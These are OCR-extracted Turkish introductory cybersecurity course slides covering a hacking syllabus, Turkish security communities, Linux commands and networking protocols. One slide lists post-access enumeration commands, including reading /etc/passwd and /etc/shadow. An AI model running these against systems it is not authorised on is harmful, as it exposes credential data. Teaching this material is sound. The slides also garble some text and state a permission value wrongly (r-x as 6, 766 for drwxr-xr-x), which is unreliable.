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1. Gun

1. Kisim Neden guvenlik ? Hacker / Hacking nedir ? Yasanmis en buyuk hacking vakalari leakedin twitter ve
nytimes dns hacked - SEA- Hacker / Hacking nedir ? White Hat hackers Gray Hat Hackers Black hat hackers
Guvenlik Sektorinde ki calisma alanlari Zararli Yazilim Analizi Tersine Muhendislik Sizma Testleri Network
Web Mobile Application Source Code Audit

2. Kisim : Linux Temelleri,Basit network bilgisi OSI Katmanlari ve bu katmanlarda bulunan zafiyetler
Routing,DNS, DHCP,NAT,ARP, TCP/UDP(Portlar) Layer 7 Kavramlar (WAF, IPS/IDS Nedir)

2. Gln

1.Kisim Network Servisleri ve Paketleri Paket koklamalar (Wireshark) Tcp-replay ve uygulamalari Hping ve
uygulamalar Netcat ve uygulamalar Arp ve Ettercap uygulamalari

2. Kisim Kablosuz ¢alisma mekanizmasi Wep zafiyetleri Wpa/Wpa2 ve mevcut WPS Mekanizmasi ve
zafiyetleri

3. Kisim Password Cracking Encrpytion nedir ? Encryption’larin collision probability’leri ve guvenirlilikleri
Rainbow table Hashcat brute force wordlist



3. Giin igER"(

Web Uygulamalarit HTTP Protokolu Web uygulamasinin yagsam dongusu Web uygulamasinin
kullanicilar ile etkilesime gecmesi HTTP POST/GET COOKIE OWASP Top 10 ve Her birinin érneklerle
uygulamali agiklanmasi. DVWA Uzerinden uygulamali anlatilacaktir. Sosyal muhendislik nedir ?
Saldirinin tasarlanmasi Saldiri vektorleri ve en zayif halka SET (Social Engineering Toolkit)

4. Giun
1. Kisim

Vulnerability Search ( Zafiyet Taramasi) Nmap (Script) Openvas Nikto DirBuster Sqlmap Wpscanner
Metasploit

2. Kisim
Capture The Flag (Hacking Game)

Hacker 101 Kursu : http://ab.org.tr/ab17/kursdir/226.html



http://ab.org.tr/ab17/kursdir/226.html

Hacker 101 | Siber Guvenlige Giris

Neden Guvenlik?
Guvenlik neden onemlidir.
Siber Giivenlik Neden Onemlidir?

Gunumuz dunyasinda Siber Guvenlik neden 6nemlidir ve Kursa gelis amaciniz
neler?



Yerli Yazilim ve Yaziim Giivenliginin Onemi



TURKIYEDE SIBER GUVENLIK

1-Octosec Toplulugu:
Gonulld bir siber guvenlik toplulugu

Hackercamp,Konferans,CTF gibi bir gok uUcretsiz
etkinlik

duzenlemekteler.

http://www.octosec.net/

http://www.hacktrickconf.com/

http://www.gameofpwners.com/



http://www.octosec.net/
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http://www.hacktrickconf.com/
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http://www.gameofpwners.com/

TURKIYEDE SIBER GUVENLIK

2-Canyoupwnme Siber Guvenlik Arastirmacilari Toplulugu:
Ucretsiz gonuilli bir siber givenlik toplulugu
Pwnlydays,,CTF ve Canyoupwn.me sitesinde

turkce icerik gibi calismalari vardir.

canyoupwn:me,

https://canyoupwn.me/

https://ctf.canyoupwn.me/



https://canyoupwn.me/
https://canyoupwn.me/
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TURKIYEDE SIBER GUVENLIK

3-Cezeri Siber Guvenlik Akademisi

'6““ (;i.i\ll:‘lui,r
2

44:’

Gonulld bir siber guvenlik toplulugu

Bsr cok Ucretsiz egitim,konferans vermektetirler.
CSGA Blogta teknik yazilar ve degerli siber guvenlik
cevirileri yer almakta.

http://www.cezerisga.com/



http://www.cezerisga.com/
http://www.cezerisga.com/

TURKIYEDE SIBER GUVENLIK

4-Blackbox Siber Miicadele Toplulugu
Gonulld bir siber guvenlik toplulugu
Bsr cok Ucretsiz egitim,konferans vermektetirler.

https://www.blackbox-tr.com/

BL.ACKBOX

SIBER MUCADELE TAKIMI



https://www.blackbox-tr.com/
https://www.blackbox-tr.com/

TURKIYEDE SIBER GUVENLIK

5-Universitelerin Siber Giivenlik Topluluklari

SDU CYBERLAB ( http://cyberlab.sdu.edu.tr/ )

SAU SBIER ( http://sausiber.org/ )

PAU SIBER ( https://pausiber.xyz/ )

|U SIBER ( https://twitter.com/iusiber )

GAZI SIBER ( http://gazisiber.org/ )

BOUN SIBER ( https://siber.boun.edu.tr/ )

ANKARA CYBER CLUB ( https://twitter.com/_aucc )

KKU SIBER ( https://twitter.com/kkusiber )



http://cyberlab.sdu.edu.tr/
http://sausiber.org/
https://pausiber.xyz/
https://twitter.com/iusiber
http://gazisiber.org/
https://siber.boun.edu.tr/
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TURKIYEDE SIBER GUVENLIK

6 -Siber Guvenlik Kamp ve Kurslari

INETD & LKD - Linux Yaz Kampi ve AB Kurslari : https://kamp.linux.org.tr

Octosec - HackerCamp : http://www.octosec.net/hackercamp.php

Canyoupwnme - PwnlyDays : https://canyoupwn.me/pwnlydays

Siber Glvenlik Kampi : http://www.siberkamp.org/

Siber Glu¢ Kampi : https://siber.boun.edu.tr/tr/siber-guc-kampi

Adli Bilisim Kampi : https://siber.boun.edu.tr/tr/adli-bilisim-kampi

Turkcell Cyber Camp 17 : http://www.cybercamp2017.com/

Havelsan Siber Guvenlik Kampi : http://akademi.havelsan.com.tr/
s



https://kamp.linux.org.tr
http://www.octosec.net/hackercamp.php
https://canyoupwn.me/pwnlydays
http://www.siberkamp.org/
https://siber.boun.edu.tr/tr/siber-guc-kampi
https://siber.boun.edu.tr/tr/adli-bilisim-kampi
http://www.cybercamp2017.com/
http://akademi.havelsan.com.tr/

TURKIYEDE SIBER GUVENLIK

7 -Siber Guvenlik Yarigmalari ve Projeleri

HACKINGWARS : https://twitter.com/hackingwars

Game of Pwners : https://twitter.com/gameofpwners

CTF Canyoupwnme : https://ctf.canyoupwn.me/
Siber Yildiz : https://twitter.com/TRCert

Hack METU : http://hackmetu.com/
SDU CTF : http://sductf.org/

Bilgi Guvenligi Proje Yarigsmasi : http://proje.lostar.com/

Frawkexr https://ctftime.org/ *********


https://twitter.com/hackingwars
https://twitter.com/gameofpwners
https://ctf.canyoupwn.me/
https://twitter.com/TRCert
http://hackmetu.com/
http://sductf.org/
http://proje.lostar.com/
https://ctftime.org/

Hacker 101 | Siber Guvenlige Giris

Hacker Kimdir?

Hacker yada Bilgisayar Korsani sahsi bilgisayarlara veya cesitli kurum ve
kuruluglara ait bilgisayarlara ve aglara izinsiz olarak girig yapan Kisi.

Bir insanin hacker olabilmesi icin hazirlanmis kriterler, tanimlanmis yetenekler
veya sartlar yoktur.

Sistemi oldugundan farkli bir sekilde kullanmasi yeterlidir.



Hacker 101 | Siber Guvenlige Giris

Hacking nedir?

Hekleme, baska tarafin bilgisayarina illegal yolla girme veya Internet sitesini art
niyet veya dolandiricilik amaci ile kullanma veya yetkilendiriimemiss degisiklikler
yapma veya sadece eglence icin bir bilgisayara girme yada virus bulagtirma gibi
sayabilecegimiz bir cok eylem hekleme,hacking kavraminin iginde
bulunmaktadir.



Hacker 101 | Siber Guvenlige Giris

Yasanmis En Buyuk Hacking Vakalari

Wikileaks, NSA-GCHQ sizintilari(Snowden), Stuxnet, Mt. Gox Bitcoin Hack,
Adobe Hack ,Nic tr DDoS, Akbank hacklendi: 4 milyon dolar sizdirildi vb.



hacke® *

Hacker 101 | Siber Guvenlige Giris

White Hat Hacker Lamer

Grey Hat Hacker Script Kiddie

Black Hat Hacker Phreaker

Malware Analyst Cracker

Reverse Enginnering Cyber Crime Researcher

Cyber Security Researcher / Penetration Tester / Cyber Security Test Engineering



Hacker 101 | Siber Guvenlige Giris

Guvenlik Sektorinde Calisma Alanlari
Adli Bilisgim Uzmanhgi

Sizma Testi Uzmanhgi

Guvenlik Danigmanhgi

Zararl Yazilim Analiz Uzmanhgi

SOME & SOC Ekipleri

Tersine Muhendislik
s



Hacker 101 | Siber Guvenlige Giris

Beyaz kutu (white box) sizma testleri: Testi yapacak kisi, firma tarafindan
sistem hakkinda bilgilendirilir. Bu tip testlerde daha onceden firmada
calismis/calismakta olan ve aga misafir olarak baglanan kisilerin sisteme
verebilecegi hasar test edilir.

Siyah kutu (black box) sizma testleri: Bu yontemde testi yapacak kisiyle
herhangi bir bilgi paylasimi olmaz sadece saldirilacak hedef belirtilir. Bu tip
testlerde amac disardan bir saldirganin sisteme nasil erigsebilecegi ile ilgili bilgi
elde edilir.

Gri kutu (gray box) sizma testleri: Hem icerden hem disaridan yapilan test
anlamindadir.
s



Hacker 101 | Siber Guvenlige Giris

Kurum ag altyapisi sizma testleri
DoS/DDoS ataklari

Son kullanici ve sosyal muhendislik testleri
Kablosuz ag sizma testleri

Web uygulamalari sizma testleri

Mobil uygulamalarin sizma testleri

isletim sistemleri sizma testleri

Veritabani sistemleri sizma testleri

Kaynak Kod Analizi (Source Code Audit)



Hacker 101 | Siber Guvenlige Giris

e Bilgi Toplama

e Ag Haritalama

e Zayiflik Tarama sureci

e Penetrasyon(Sizma) Sureci
e Erisim elde etme

e Hak YUlkseltme

e Detayl Arastirma

e Erisimlerin Korunmasi

e Raporlama
S



Linux’ta Dosya ve Dizin Yapisi

1f
(kok dizin)
tmp

/home
| /initrd | [/mnt|
S
| Nlost+found ‘

Linux Dizin Yapisi
s



Linux’ta Dosya ve Dizin Yapisi

/bin : Olmasi zorunlu temel komut dosyalarini igerir.
Iboot : Baslangi¢ icin gerekli dosyalari bulundurur.

/home: Ev dizinidir.Iginde kullanici dosyalari masaustu,resimler,indirilenler gibi dosyalar bulunur.
/dev : Donanim dosyalari vardir.

letc : Sistem ayarlarini barindirir.

Nlib : KGtlphane dosyalari ve ¢ekirdek moddlleri bulunur.

Imedia : Kaldinlabilir aygitlarin (CD-ROM, USB bellek vb.) sisteme eklendigi klasérdur.

Imnt : Sistem acliligsinda otomatik olarak baglanan sabit disk bolimleri bu dizin altinda eklenir.
lopt : Uglincii parti kullanici programlarinin kurulmasi igindir.

Isbin : Sistemi yoneticisiyle ilgili ¢calistirabilir dosyalari tutar.

Isrv : Sistemin sundugu hizmetlerle alakahdir.

Itmp : Gegici dosyalari tutmak igindir.

lusr : Tum kullanicilarca paylasilan verileri iceren dizindir.

Ivar : Log dosyalari, e-posta ve yazici kuyruklari gibi degisken verileri barindirir.
e
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Is — dosyalari listeler Is -la gizli dosyalar dahil tum dosyalari listeler

cd — sectiginiz dizinin igine girmenizi saglar

MeT -0l 'E_.]!_.,_lg-:;'. "l LS

Templates
Ubuntu One



komut --help ya da man komut ile komutlarin diger parametrelerini gorebiliriz.

% ahmet-qurel @GUREL: ~

DESCRIPTIC

--ign

g ps
Manual page Us(1) line 1 (press h for help or q to quit)

Is --help komutunun ¢iktisi man Is komutunun c¢iktisi



pwd:Bulundugumuz dizini verir clear: Terminal ekranini temizler mkdir klasor_adi — belirtilen isimde
dizin olusturur.

mkdir -p klasor1/klasor2- -p parametresi i¢ ice klasor olusturmaya yarar.Bu ve daha fazla
parametreyi man mkdir ile gorebilirsiniz

Templates
Ubuntu One
Videos
firtualBox VMs

workspace

LinuxEgitim soruls

Music Templa
netbhe B.08. Ubuntu One
HetBe i

Picture

Public




rm dosya — dosya siler rm -r klasor — belirtilen klasoru siler

touch dosya — bos dosya olusturur

l_
3
l_
l-
h

1 & A D
[ ™l

| EBE

B
L e
B

1}

**Burada silme iglemini gerceklestirirken silinsin mi diye soruyor y(yes) diyerek islemi onayliyoruz.



cp dosyal dosya2 — dosya1'i dosya2'ye kopyalar

cp -r dizin1 dizin2 — dizin1'i dizin2'ye kopyalar; dizin2 yoksa olugturur

Documents JavaFX NetBeansProjects Ubuntu One

Downloads jdk1.8.0_20 Pictures Videos

) LinuxEgitim Pu VirtualBox VMs
Music 5 -

netbeans-8.0.1

Workspace




komut > dosya_adi - komutun ¢iktisini dosyadaki seyleri silip yazar.(yoksa olusturur)
komut >> dosya_adi - komutun ciktisini dosyanin sonuna yazar.(yoksa olusturur)
cat dosya_adi- dosyanin igerisindekileri terminalde gormemizi saglar.

more dosya_adi-dosyanin giktisini sayfalayarak gosterir..

Eclipse Tor Browrser

MetBeans IDE B

Android Studio
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ahmetgurelmGUREL

ps — Aktif sUrecleri gosterir. ps aux-Tum surecler

=
L+ = O ¢
=l = = |




top- Tum surecleri gosterir.

ahmetgureslfGUREL: -

Burada gorduguntz PID(Process ID) dir.Bir process’i dldurmek(durdurmak) icin kullanacagiz.

=

S M



kill pid (process id) —Belirtilen streci sonlandirir.

= ahmetgure  lE@GUREL: ~
I gRea9@3lE to 1
8 +to

000 e
+ 4+ 4 4

+ + 4+ 4+ + 4

**5604 PID(process id) firefox uygulamasina denk geliyor biz bu uygulamay: kill 5604 diyerek durdurmus
olduk.



find - find komutu girdigimiz dizin ve alt klasorlerinde arama yapar.Kullanimi: find dosya_yolu -name “aranacak_ifade”

5 ahmet-gurel@GUREL: ~

IIIIIIIT

**Belirtilen yolda *(hrehangi bir ifade) ile baglayip .odt ile biten dosyalari artyan komuttur.find komutunun -name
gibi bagka parametreleride mevcuttur merak edenler bunlari internetten aratarak bulabilirler.



grep ifade dosya - Belirtilen dosyalarda ifadeyi arar.

! ahmetgure (@GUREL: ~Desktop
-el@GUREL:~% cd Desktop/




komut | grep ifade — Komutun ¢iktisinda ifadeyi aratir.

x ahmet-gure | @GUREL: ~

**[Ik olarak ps aux | grep firefox komutu ile firefox u arattik ve gelen sonuglardan firefox un pid(process
id) numarasini bulduk.Bunuda kill 7309 komutunu kullanarak durdurduk.Daha sonra yeniden ps aux |
grep firefox komutunun ciktisina baktigimizda o surecgin durdugunu hep beraber gorduk.



Linux’ta Dosya Izinleri

X eXewte= 1
‘ } . Actual
W (Write)= 2 ; .
Permissions
I' (Read)— 4

5, 6 & 7 are combination mods

I '|
" Owner (4+2+o) Public
(4+2+1 ) (4+0+1
-X

Oncelikle burada bilmemiz gereken
Read(Okuma),Write(Yazma),eXecute(Calistirma)
izinlerinin sayisal degerlerinin
bulundugu.r=4,w=2,x=1 dir.rwx(4+2+1) in 7 yi temsil
ettigini bilmemiz gerekiyor.Onun disinda sayilar ug
basamakli olmakta.Birinci Basamagi
Owner(Kendisinin) izinlerini,ikinci basamag:
Group(Bulundugu Grup)’un izinlerini,ve son
olarakta Uglincii basamagida Public(Digerlerinin)
izinlerini temsil etmektedir.




Is -al - komutu ile tim dosyalarin 6zelliklerini ve
izinlerini goruntiledik.burada drwxr-xr-x gibi
karisik gelen ifadeler dosyanin izinlerini belirtir.llk
satirda ki drwxr-xr-x ele alirsak.

-2 ahmet-gqure {@GUREL: -

d rwx r-x r-X
d: dizin oldugunu belirtiyor.Dosyalarda - dir.
rwx: ilk basamak kendisinin izni(4+2+1=7)
r-x:ikinci basamak grubun izni(4+0+1=6)

r-x:Uglincli basamak digerlerinin izni(4+0+1=6)

Ele aldigimiz ilk siradaki dizinimizin izni 766
dir.Aslinda okumayi 6grenince hi¢ de karigik
olmadigini goruyorsunuz :)



chmod izin_degeri dosya- chmod ile vermek istedigimiz izin degerini o dosyaya atayabiliyoruz.

**Burada oku.txt dosyasina 7(read+write+execute)Zread+write+execute)7read+write+execute) iznini
verdik.Kendisi grubu ve digerleri hem okuyor hem yaziyor hem de c¢aligtirabiliyor.chmod ile dosyalarin
izinlerini bu sekilde degistirebilirsiniz.



date — mevcut saat ve tarihi gosterir cal — iginde bulunan ayin takvimini gosterir

- ashmetgqurel@mGUREL: ~

S El = & A




uptime — sistemin acik kalma suresini gosterir w — sistemle ilgili 6zet bilgiler verir
whoami — giris yapan kullaniciyi gosterir




finger kullanici — kullanici hakkinda bilgi verir uname -a — ¢ekirdek bilgisini gosterir.

**finger kurulu degil ise kurmanizi isteyecektir.sudo apt-get install finger komutu ile
kurabilirsiniz.Bunu yazilim derleme ve kurma adi altinda ileride igleyecegiz.

&= ahmet-gure l@GUREL: ~

L:~% finger




cat /proc/cpuinfo — islemci bilgisini gosterir




cat /proc/meminfo — RAM bilgisini gOsterir.

® ahmet-qure {@GUREL: ~

+




df — disk kullanimini gdsterir. du — dizinin kullandigi disk alanini gésterir.
= ahmet-qure [ @GUREL: fyvenidizin

** jlk olarak df ile disk kullanimini gdriintiiledik daha sonra mkdir ile yeni bir dizin olusturmak
istedigimizde permission denied(izin reddedildi) hatasini aldik bu yuzden sudo ile root kullanicisinin
yetkilerini kullanarak olusturduk.Ve daha sonra du ile disk te ne kadar yer kapladigini gorduk.



free — kullanilan RAM bilgisini gosterir which uygulama — uygulamanin tam yolunu gosterir




tar cf dosya.tar.gz dosya — Sikistirilmis tar arsivi olusturur. (gzip)
tar xf dosya.tar.gz — Sikistirilmis arsivi acgar.
tar cf dosya.tar.bz2 dosya — Sikistiriimis tar arsivi olusturur. (bzip2)

tar xf dosya.tar.bz2 — Arsivi acar.

ahmet-gu

& ahmet-qure |[@GUREL: ~/Desktop
! tar cf arsiv.tar.gz 1.
top$ tar xf arsiv.tar.gz




ping hedef — hedefe ping atar ve sonuclari gosterir.

b ahmet-gure @GUREL: /




whois domain — belirtilen alan adinin kayit bilgilerini gosterir.

% ahmetqurel@GUREL: ~




dig domain — Belirtilen alan adinin DNS bilgilerini getirir.




Yazilim Derleme/Kurma

1-Oncelikle sistem acildiginda Ubuntuda Ubuntu Software Center i arag gcubugunda gorebilirsiniz diger
dagitimlarda da bu tip uygulama merkezleri (paket depolari) vardir.Buradan istediginiz programlari bularak
root sifrenizi girdikten sonra oldukga basit bir sekilde yukleyebilirsiniz.

@ O Ubuntu Software Center

<> @ (| & |- O ECE

All Software | By Relevance |

- NetBeans IDE 7.0.1 (138)
Integrated Development Environment




2-Komut satiri Uzerinden paket yonetimi sistemi ile de program kurabiliriz.Bunun icin verilecek
komutlar:

sudo apt-get install paket_adi - Programi kurmaya yarar

sudo apt-get remove paket_ad

i -Programi kaldirir.

screeniets
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3-Yazilim Merkezlerinde bazen tum yazilimlar olmuyor ya da olanlar da eski sturumleri olabiliyor.Bir onceki
gordugumuz NetBeans Java IDE si 7.0.1 iken suan 8.0.2 si mevcut.Bunlari yuklemek icin internetten
kurulum dosyalari bulunur ve yuklenir.Bu kurulum dosyalari “.sh”,”.bin” ve “.deb” tarzinda
olabilir.Bunlari yukler iken:

sudo dpkg -i dosya_adi.deb **deb(debian kisaltmasi) farkli dagitimlarda farkh sekilde olacaktir.
chmod +x dosya_adi.sh **Dosyay! komut olarak galigir hale getirecektir.

Jdosya_adi.sh seklinde kurulur. **(.bin uzantili dosyalarda .sh uzantili dosyalarla ayni sekilde kurulur.)

= ahmet-gure @GUREL: ~/Desktop
pSs  chime




Yazilim Derleme/Kurma

Java SE Development Kit and Net Beans IDE Installer

Welcome to the JDK 8 Update 25 and NetBeans IDE 8.0.1
Inskaller

HetBeans IDE 8.0.1 is already installed.
Click next if you wankt to proceed with JDK 8 Update 25 installation.

Installation Size: 536.6 MB




Linux ta metin dosyalarini okumak i¢in nano ve vi editorleri iginde yuklu gelir.Vi nin gok daha gelismig hali
olan vim editorl ¢ok yaygin bir sekilde kullanilir bende onu kullanmaktayim.Onu kullanmak igin sudo
apt-get install vim ile yuklemeniz gerekmektedir.

. ahmet-gurel @GUREL: ~/Desktop

touch komutu ile EditérOgren adli bir dosya olusturup bunun icine vim editoru ile girmemizi saglayacak
komutu terminale yazdik.



wnternetten bakmanizi &neririm.




Dosyamiza vim ile yazdiklarimizi kaydetip ¢iktiktan sonra cat komutu ile icine bakiyoruz ve yazdiklarimiz
kayit edilmis mi diye ve her sey yazdigimiz gibi :)



Alias ile Linux’ta istediginiz bir komutun adini degistirebilirsiniz.
Bu genelde uzun karigik gelip sik sik kullanilan komutlari basitlestirmek i¢in kullanilir.
Biz ise bugun cd nin yerine sec kullanmak isteyecegiz ve bunu alias ile yapacagiz.

Bunun igin /etc/bash.bashrc dosyasini vim editoru ile agarak alias sec="cd” seklinde bir tanimlama
yapacagiz.

Aliasinda kullanim seklini 6grenmis olduk. Aslinda komutlara takma isim veriyoruz.

= ahmet-gure @GUREL: ~
e l@CUREL:~% vim fetc/bash.bash .




ahmet-gurelGUREL: —

Burada dosyay! actiktan i ye basarak insert olup sonra alias sec="cd” tanimlamasini yapiyoruz.Daha
sonra ESC ye basip :wq ile dosyayi kaydedip ¢ikiyoruz.Terminali kapatip agtiktan sonra cd komutu yerine
sec komutunu kullanacagiz. |




Linux Temelleri

cat /etc/resolv.conf cat /etc/hosts

cat /etc/passwd arp -a

cat /etc/shadow iptables -L -v

cat /proc/version gcc --version
uname -a Isb_release -a

pS -aux ps aux | grep root
ifconfig route -n

history users
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Baslarken Network nedir?
Bilgisayarlarin iletigsim hatlari araciligiyla veri aktariminin saglandigi sistem, bilgisayar agidir.
IP Adresi Nedir?

IP adresi (ingilizce: Internet Protocol Address), interneti ya da TCP/IP protokoliinii kullanan diger
paket anahtarlamali aglara bagli cihazlarin, ag uzerinden birbirleri ile veri aligverigi yapmak icin
kullandiklari adres.

DNS Nedir?

Turkge olarak Alan Adi Sistemi olan DNS girdigimiz sitelerin IP adresini tutan bir adres defteri
gibidir.Girdigimiz bir domain tikladigimizda kullandigimiz DNS bizi yonlendirdigi i¢in bazen
ulasamama durumlari oluyor farkli nedenlerden o IP yi1 engelliyorlar ve bu site yasaklanmigtir diyor
bizde bunun igin farkli DNS ler kullanarak erisimimize devam ediyoruz.


http://iletisim.nedir.com/
https://tr.wikipedia.org/wiki/%C4%B0ngilizce
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/%C4%B0nternet_ileti%C5%9Fim_kurallar%C4%B1_dizisi
https://tr.wikipedia.org/wiki/Bilgisayar_a%C4%9F%C4%B1
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Open Systems
Interconnection (OSI)
modeli ISO
(International
Organization for
Standardization)

tarafindan gelistirimigstir.

Bu modelle, ag
farkindaligina sahip
cihazlarda calisan
uygulamalarin
birbirleriyle nasil
iletisim kuracaklari
tanimlanur.

AT MADMNLAR

LY GLILA MA
SUNUM
OTURUM

—

S

T

A
i b4 .,-“.L»f-

i

VERI

FROTOKOLLER

HTTP, HTTPS, SMTP, FTP, TFTP,

UJUCP, HNTP, S5L, S5H, IRC,
SHMP, SIP, RTP, Telnet,

IS0 8822, ISO 8823,
IS0 8824, ITU-T T. I-”?
ITU-T X. 409,

SMB, ISC 8326, NFS
IS0 8327, ITU-T T.6299, ...

TCP, UDP, ...

Ethernet, HDLC,
Wi-Fi, Token ring, ...
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7 Katmandan olusan OSI Modelinde her katmaninda belli donanimlar ve network
protokolleri bulunur.

Network haberlesmelerinde OSI Referans modeli kullanilir.

Katmanlarda ¢alisan donanimlara ve protokollere iler ki sunumlarda
bulunmaktadir.
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E
_—

Terminal A Terminal
7 Uygulama F Uygulama
6 Sunum 6 Sunum
5 Oturum 5 Oturum
4 Tasima 4 Tasima
3 Ag 3 Ag
o5 Veri iletim 5 Veri iletim
1 Fiziksel : 3 Fiziksel

ii—
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Tarihge:

e ilk olarak 80'li yillarda Amerikan Savunma Bakanligi (DoD) tarafindan OSI
tabanli sistemlere alternatif olarak gelistiriimistir.

° DoD'un Amerikan piyasasindaki ana belirleyici olmasi,bu protokolun
Amerikan yazilimlarinda standart kabul edilmesine neden oldu.

° Internet'in babasi sayilabilecek ARPANet bu nedenle TCP/IP ile dogdu.
internet kullaniminin blyik bir hizla artmasi ile birlikte, TCP/IP OSlI lizerinde

bir Ustinluk kurmus oldu.
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e Yapi olarak iki katmanl bir haberlesme protokoludur.

e Ust Katman TCP(Transmission Control Protocol) verinin iletimden 6nce
paketlere ayrilmasini ve karsi tarafta bu paketlerin yeniden dizgun bir
sekilde birlegtiriimesini saglar.

e Alt Katman IP (Internet Protocol) ise,iletilen paketlerin istenilen ag adresine

yonlendirilmesini kontrol eder.



TCP fIP model

_ , TCP fIP protocol suite
Application
layer
Telnet FTP SHMTP DS RIP SNMP
e st le: TCP uUDPp IGMP ICMP
layer
Internet ip IPSEC
laver
_____ E TN e T
Metwork | | Etherpet | ! Taken Ring || Frame JoooaTM
Interface . | D _RELEL}* 4
layer
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e Uygulama Katmani(Application Layer) : Farkli sunucular Gzerindeki stire¢ ve
uygulamalar arasinda olan iletisimi saglar.

e Tasima Katmani(Host to host or Transport Layer) : Noktadan noktaya veri akigini
sadlar.

e internet Katmani : Router lar ile birbirine baglanmis aglar boyunca verinin kaynaktan
hedefe yonlendirilmesini saglar.

e Ag Erisim Katmani : lletisim ortaminin karakteristik dzelliklerini,sinyallesme hizini ve

kodlama semasini belirler.Ug¢ sistem ile alt ag arasindaki lojik arabirime iligkin katmandir.
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TCP baglantisi nasil kurulur?

A bilgisayari B bilgisayarina TCP yoluyla baglanmak istediginde su yol izlenir:

e A bilgisayari B bilgisayarina TCP SYNchronize mesaji yollar
e B bilgisayar A bilgisayarinin istegini aldigina dair bir TCP SYN+ACKnowledgement

mesajl yollar
e A bilgisayari B bilgisayarina TCP ACK mesaji yollar
e B bilgisayari bir ACK "TCP connection is ESTABLISHED" mesaji alir

Uc zamanli el sikisma adi verilen bu yontem sonucunda TCP baglantisi aciimis olur.
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3 la El Sikisma Nedir? (TCP 3 Way Hand shake)

\
%

ACK -5

I N, T
oy

L

-y

.
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TCP Baglantisinin Sonlanmasi

Veri iletisimi bitince bilgisayarlardan herhangi biri digerine TCP kapatma mesaiji yollar. Diger bilgisayar,

kapatmayi teyid etme paketi ve kapatma istedi yollar. Son olarak, diger bilgisayar da kapatma teyidini

yollar ve baglanti kapatilmis olur.

Bu islemin adimlari tam olarak soyledir:

A bilgisayari B bilgisayarina baglantiy1 sonlandirmak istedigine dair TCP FIN mesaji yollar.
B bilgisayari A bilgisayarina baglanti sonlandirma istegini aldigina dair TCP ACK mesaiji yollar.
B bilgisayari A bilgisayarina baglantiy1 sonlandirmak istedigine dair TCP FIN mesaji yollar.

A bilgisayari B bilgisayarina baglanti sonlandirma istegini aldigina dair TCP ACK mesaiji yollar.

Bu islemlerin sonunda TCP baglantisi sonlandiriimig olur. Buna 4 zamanl el sikigma denir
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Temelde iki modelde haberlesmeyi karmasik bir is olarak gortp alt gorevlere ve
katmanlara ayirmaktadir.Her katmanda calisan protokoller ve prosedurler vardir.

Bu OSI modelinde ¢cok net bir sekilde ayrilmistir.Her katmanda calisan protokol
bellidir.

TCP/IP de ise daha rahattir kesin cizgilerle belirlenmemistir.Bunun icin OSl ile
calismak daha verimlidir.Aralarinda ki en onemli fark bu denilebilir.
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TCP (Transmission Control Protocol)

e TCP yani Gonderim Kontrol Protokolu , IP Uzerinden ulagsma garantili ve herhangi bir
boyda veri gonderilmesine imkan taniyan bir protokoldir. UDP'den farkli olarak, TCP'de
iki cihazin iletisim kurabilmesi igin dnce birbirlerine baglanmalari gerekmektedir.

UDP (User Datagram Protocol)

e UDP yani Kullanici Veri Protokoll , IP Gzerinden veri yollamaya yarar. Verilerin
ulasacagini garanti etmez ve UDP paketlerinin maksimum boy sinirlari vardir. Ote
yandan, UDP son derece basit ve baglanti gerektirmeyen bir protokoldur.


https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/wiki/TCP
https://tr.wikipedia.org/wiki/UDP
https://tr.wikipedia.org/wiki/UDP

Temel Network Bilgisi | NETWORK PROTOKOLLERI

DHCP (Dynamic Host Configuration Protocol)

e DHCP yani Dinamik Cihaz Ayar Protokolu bir TCP/IP agina baglanan bir cihaza
otomatik olarak IP adresi, ag maskesi, ag gecidi ve DNS sunucusu atanmasina yarar.

DNS (Domain Name System)

e DNS vyani Alan Adi Sistemi alan adi verilen isimler mesela www.gurelahmet.com ile IP
adreslerini birbirine baglayan sistemdir. Paylastirilmis bir veritabani olarak ¢aligir. UDP
veya TCP uzerinden calisabilir.



https://tr.wikipedia.org/wiki/DHCP
https://tr.wikipedia.org/wiki/DHCP
https://tr.wikipedia.org/wiki/IP_adresi
https://tr.wikipedia.org/wiki/A%C4%9F_maskesi
https://tr.wikipedia.org/wiki/A%C4%9F_ge%C3%A7idi
https://tr.wikipedia.org/wiki/DNS
https://tr.wikipedia.org/wiki/DNS
http://www.gurelahmet.com
https://tr.wikipedia.org/wiki/Payla%C5%9Ft%C4%B1r%C4%B1lm%C4%B1%C5%9F
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HTTP (HyperText Transfer Protocol)

e HTTP yani HiperMetin Yollama Protokolu ilk bagsta HTML sayfalari yollamak i¢in yazilmis olan bir
protokol olup gunumuzde her turll verinin gonderimi icin kullanilir. TCP Uzerinden c¢alisir.

NOT: HTTP Metodlari ve HTTP Durum kodlari Guvenlik i¢cin dnemlidir.

Metodlar: Get,Head,Put,Post,Trace,Delete,Connection,Options

Durum Kod: 1xx :Bilgi 2xx Basari 3xx :YOonlendirme 4xx :Tarayici Hatasi 5xx : Sunucu Hatasi
HTTPS (Secure HTTP )

e HTTPS yani Guvenli HTTP , HTTP'nin RSA sifrelemesi ile guglendirilmig halidir. TCP Uzerinden
calisir.


https://tr.wikipedia.org/wiki/HTML
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/HTTPS
https://tr.wikipedia.org/wiki/RSA
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POP3 (Post Office Protocol 3)

e POP3 ani Postahane Protokolu 3 e-posta almak icin kullanilan bir protokoldur. TCP Uzerinden
cahgir.

SMTP (Simple Mail Transfer Protocol)

e SMTP yani Basit Mektup Gonderme Protokoll e-posta gondermek icin kullanilir. TCP Uzerinden
cahgir.

FTP (File Transfer Protocol)

e FTP yani Dosya Gonderme Protokolli dosya gondermek ve almak icin kullanilir. HTTP'den degisik
olarak kullanicinin illa ki sisteme giris yapmasini gerektirir. Veri ve komut alis verigi i¢in iki ayri port
kullanir. TCP Uzerinden caligir.


https://tr.wikipedia.org/wiki/SMTP
https://tr.wikipedia.org/wiki/SMTP
https://tr.wikipedia.org/wiki/FTP
https://tr.wikipedia.org/wiki/FTP
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ARP (Address Resolution Protocol)

e ARP yani Adres Cozumleme Protokolu bir IP adresinin hangi ag kartina (yani MAC adresine) ait

oldugunu bulmaya yarar.
ICMP (Internet Control Message Protocol)

e |ICMP yani Internet Yonetim Mesajlasmasi Protokoll, hata ve turlu bilgi mesajlarini ileten protokoldur.

Ornegin, ping programi ICMP'yi kullanir.
Telnet,

e nternet ag izerindeki gok kullanicili bir makineye uzaktaki bagka bir makineden baglanmak igin

